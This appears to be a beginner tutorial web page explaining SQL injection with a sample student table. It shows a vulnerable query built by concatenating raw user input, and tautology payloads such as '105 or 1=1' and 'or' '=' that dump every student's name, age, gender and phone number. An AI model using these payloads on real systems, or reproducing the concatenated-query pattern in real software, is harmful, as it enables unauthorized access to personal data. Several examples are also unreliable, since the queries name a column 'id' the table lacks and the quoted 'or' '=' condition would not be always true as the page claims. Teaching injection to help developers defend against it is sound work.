SQL Tutorial

SQL Tutorial SQL Introduction SQL Syntax SQL Data Types SQL OPERATORS SQL COMMANDS SQL Queries

SQL Database

SQL Create Database SQL DROP Database SQL SELECT Database

SQL Table

SQL TABLE SQL CREATE TABLE SQL COPY TABLE SQL ALTER TABLE SQL DELETE SQL TRUNCATE TABLE SQL DROP TABLE SQL UPDATE TABLE SQL INSERT TABLE

SQL SELECT

SQL SELECT Statement SQL SELECT WHERE Clause SQL SELECT IN Operator SQL BETWEEN Operator SQL SELECT BETWEEN Operator SQL SELECT AND Operator SQL SELECT OR Operator SQL SELECT LIKE Operator SQL SELECT DISTINCT SQL SELECT SUM SQL SELECT MAX SQL SELECT MIN SQL SELECT AVG

SQL Clause

SQL WHERE Clause SQL GROUP BY CLAUSE SQL ORDER BY Clause SQL HAVING Clause

SQL INSERT

SQL INSERT Statement SQL INSERT INTO Statement SQL INSERT INTO Values SQL INSERT INTO SELECT SQL Insert multiple rows

SQL JOIN

SQL JOIN SQL Inner Join SQL Left Join SQL Right Join SQL Full Join SQL CROSS Join

SQL OPERATOR

SQL Comparison SQL LOGICAL Operator SQL Cast Operator SQL Arithmetic

Difference

SQL vs NOSQL WHERE vs HAVING DELETE vs DROP GROUP BY vs ORDER BY DROP vs TRUNCATE SQL IN vs SQL EXISTS Difference between Delete, Drop and Truncate in SQL

MISC

SQL SubQuery SQL CASE Commit and Rollback in SQL Pattern Matching in SQL DDL Commands in SQL DML Commands in SQL Types of SQL Commands SQL COUNT SQL Primary Key SQL FOREIGN KEY SET Operators in SQL Check Constraint in SQL SQL EXCEPT SQL VIEW SQL WHERE Statement SQL CRUD Operation Where Condition in SQL TCL Commands in SQL Types of SQL JOINS SQL Nth Highest Salary SQL NOT OPERATOR SQL UNION ALL SQL INTERSECT SQL Data Definition Language SQL Data Manipulation Language SQL Data Control Language SQL CONSTRAINTS SQL Aggregate Operators SQL KEYS Codd’s Rules in SQL What is SQL Injection? Trigger In SQL SQL WHERE Multiple Conditions Truncate function in SQL SQL Formatter WEB SQL SQL Auto Increment Save Point in SQL space() function in SQL SQL Aggregate Functions SQL Topological Sorting SQL Injection SQL Cloning Tables SQL Aliases SQL Handling Duplicate Update Query in SQL Grant Command in SQL SQL SET Keyword SQL Order BY LIMIT SQL Order BY RANDOM

How To

How to use the BETWEEN operator in SQL How To Use INNER JOIN In SQL How to use LIKE in SQL How to use HAVING Clause in SQL How to use GROUP BY Clause in SQL How To Remove Duplicates In SQL How To Delete A Row In SQL How to add column in table in SQL ? How to drop a column in SQL? How to create a database in SQL? How to use COUNT in SQL? How to Create Temporary Table in SQL? How to Add Foreign Key in SQL? How to Add Comments in SQL? How To Use Group By Clause In SQL How To Use Having Clause In SQL How To Delete Column In Table How To Compare Date In SQL How index works in SQL How to calculate age from Date of Birth in SQL How to Rename Column name in SQL What are single row and multiple row subqueries?

SQL Injection

SQL injection is a technique, this may destroy the database. It is one type of hacking technique.

SQL IN WEB PAGES:

Injection occurs when we ask for input like an id or username, this will run the database automatically.

 Example:

Student Table:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Code:

Code: id = getRequestString(“sid”);
 tsql = “select * from Student where sid = ”+id;

 SQL injection based on condition 1=1 is True:

If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way tto get outputs.

Code:

Select * from Student where id = 105 or 1=1

Output:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the student details of the student by using 1=1 condition.

Displaying the sid, sname of student table.

Code:

Select sid,sname from Student where id = 105 or 1=1

Output:

Student Table:

sidsname
1Abhinav
2Ramya
3Preetham
4Nethranand
5Naveen
6Harshita
7Bindu
8Nandhini
9Hashish
10Rahul

Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using 1=1 condition.

Displaying the  sname, sage of student table.

Code:

Select sname, sage from Student where id = 105 or 1=1;

Output:

snamesage
Abhinav22
Ramya24
Preetham21
Nethranand21
Naveen23
Harshita22
Bindu26
Nandhini23
Hashish22
Rahul21

Displaying the sname, Phonenumber of the student by using 1=1 condition.

Code:

 Select sname, Phonenumber from Student where id = 105 or 1=1;

Output:

Student Table:

snamePhonenumber
Abhinav9895678909
Ramya6687654634
Preetham9867546453
Nethranand7675643423
Naveen6567784532
Harshita9867546231
Bindu6563412768
Nandhini6785674839
Hashish9453215052
Rahul9998989898

Displaying the sname, sgender of the student by using 1=1 condition.

Code:

Select sname, sgender from Student where id = 105 or 1=1;

 Output:

Student Table:

snamesgender
AbhinavMale
RamyaFemale
PreethamMale
NethranandMale
NaveenMale
HarshitaFemale
BinduFemale
NandhiniFemale
HashishMale
RahulMale

 Displaying the sname, sage, sgender, Phonenumber of the student by using 1=1 condition.

Code:

 Select sname, sage, sgender, Phonenumber from Student where id = 105 or 1=1;

Output:

Student Table:

snamesagesgenderPhonenumber
Abhinav22Male9895678909
Ramya24Female6687654634
Preetham21Male9867546453
Nethranand21Male7675643423
Naveen23Male6567784532
Harshita22Female9867546231
Bindu26Female6563412768
Nandhini23Female6785674839
Hashish22Male9453215052
Rahul21Male9998989898

Injection based on “=” is always true:

If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way by typing “or” “=”. Id = “or” “=”

Syntax :

Select * from table_name where id = “or” “=”;

 Example:

Displaying all the details of student.

Code:

 Select * from Student where id = “or” “=”;

Output:

Student Table:

sidsnamesagesgenderPhonenumber
1Abhinav22Male9895678909
2Ramya24Female6687654634
3Preetham21Male9867546453
4Nethranand21Male7675643423
5Naveen23Male6567784532
6Harshita22Female9867546231
7Bindu26Female6563412768
8Nandhini23Female6785674839
9Hashish22Male9453215052
10Rahul21Male9998989898

Note: This above code instead of entering wrong inputs by entering “or” “=”, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using “=” condition.

Displaying the sid, sname of student table with “or” “=”

Code:

 Select sid, sname from Student where id = “or” “=”;

Output:

Student Table:

sidsname
1Abhinav
2Ramya
3Preetham
4Nethranand
5Naveen
6Harshita
7Bindu
8Nandhini
9Hashish
10Rahul

Displaying the sname, sage of the student by using ‘=’ condition.

Code:

Select sname, sage from Student where id = “or” “=”;

Output:

snamesage
Abhinav22
Ramya24
Preetham21
Nethranand21
Naveen23
Harshita22
Bindu26
Nandhini23
Hashish22
Rahul21

 Displaying the sname, Phonenumber of the student by using ‘=’ condition. Code:

Select sname, Phonenumber from Student where id = “or” “=”;

Output:

Student Table:

snamePhonenumber
Abhinav9895678909
Ramya6687654634
Preetham9867546453
Nethranand7675643423
Naveen6567784532
Harshita9867546231
Bindu6563412768
Nandhini6785674839
Hashish9453215052
Rahul9998989898

 Displaying the sname, sgender of the student by using ‘=’ condition.

 Code:

 Select sname, sgender from Student where id = “or” “=”;

Output:

Student Table:

snamesgender
AbhinavMale
RamyaFemale
PreethamMale
NethranandMale
NaveenMale
HarshitaFemale
BinduFemale
NandhiniFemale
HashishMale
RahulMale

Displaying the sname, sage, sgender, Phonenumber of the student by using ‘=’ condition.

Code:

Select sname, sage, sgender, Phonenumber from Student where id = “or” “=”; Output:

Student Table:

snamesagesgenderPhonenumber
Abhinav22Male9895678909
Ramya24Female6687654634
Preetham21Male9867546453
Nethranand21Male7675643423
Naveen23Male6567784532
Harshita22Female9867546231
Bindu26Female6563412768
Nandhini23Female6785674839
Hashish22Male9453215052
Rahul21Male9998989898